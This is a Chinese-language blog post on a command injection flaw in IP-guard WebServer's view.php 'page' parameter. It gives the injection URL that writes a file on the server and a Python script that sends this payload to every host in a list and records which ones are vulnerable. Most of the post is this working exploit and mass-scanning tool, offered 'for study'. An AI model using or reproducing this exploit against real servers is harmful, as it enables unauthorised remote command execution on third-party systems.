关于IP-guard WebServer 远程命令执行漏洞的学习和自动化验证

漏洞介绍

本次漏洞的成因粗略的可以理解为的get请求中的page参数过滤不严格导致的命令执行。

漏洞影响范围

IP-guard < 4.81.0307.0

漏洞的验证

从网上的公开poc来看这个仅仅只需要将get请求改为下列路径即可:

/ipg/static/appr/lib/flexpaper/php/view.php?doc=1.jpg&format=swf&isSplit=true&page=||echo+123456+>1.txt

操作

关于IP-guard WebServer 远程命令执行漏洞的学习和自动化验证_第1张图片

出现下列情况就是已经成功了。

关于IP-guard WebServer 远程命令执行漏洞的学习和自动化验证_第2张图片

检查是否成功,将路径改为:

/ipg/static/appr/lib/flexpaper/php/ 1.txt

关于IP-guard WebServer 远程命令执行漏洞的学习和自动化验证_第3张图片

自动化验证

关于自动化原理就更加简单了,首先向目标IP的第一个路径发起请求,若返回值是200,至少该目标是可能存在这个漏洞的,然后我们既然要确认只需要对第二个路径发起请求判断页面中是否有我们保存的内容即可。以下是我的自动化代码。仅供大家参考学习。

import requests

def send_data_packet(host,path1,path2):
    url = f"http://{host}/{path1}"
    response = requests.get(url)
    if response.status_code == 200:
        url = f"http://{host}/{path2}"
        send_another_packet(url,host)

def send_another_packet(url,host):
    response = requests.get(url)
    if '123' in response.text:
        save_content(f"{host}")

def save_content(content):
    with open('output.txt', 'a+') as file:
        file.write(content + '\n')

def process_hosts(file_path, path1, path2):
    with open(file_path, 'r') as file:
        hosts = file.readlines()
        for host in hosts:
            host = host.strip()
            send_data_packet(host,path1,path2)


# Usage
file_path = 'hosts.txt'
path1 = 'ipg/static/appr/lib/flexpaper/php/view.php?doc=1.jpg&format=swf&isSplit=true&page=||echo+123+>+test.txt'
path2 = 'ipg/static/appr/lib/flexpaper/php/test.txt'
process_hosts(file_path, path1, path2)

你可能感兴趣的:(学习,自动化)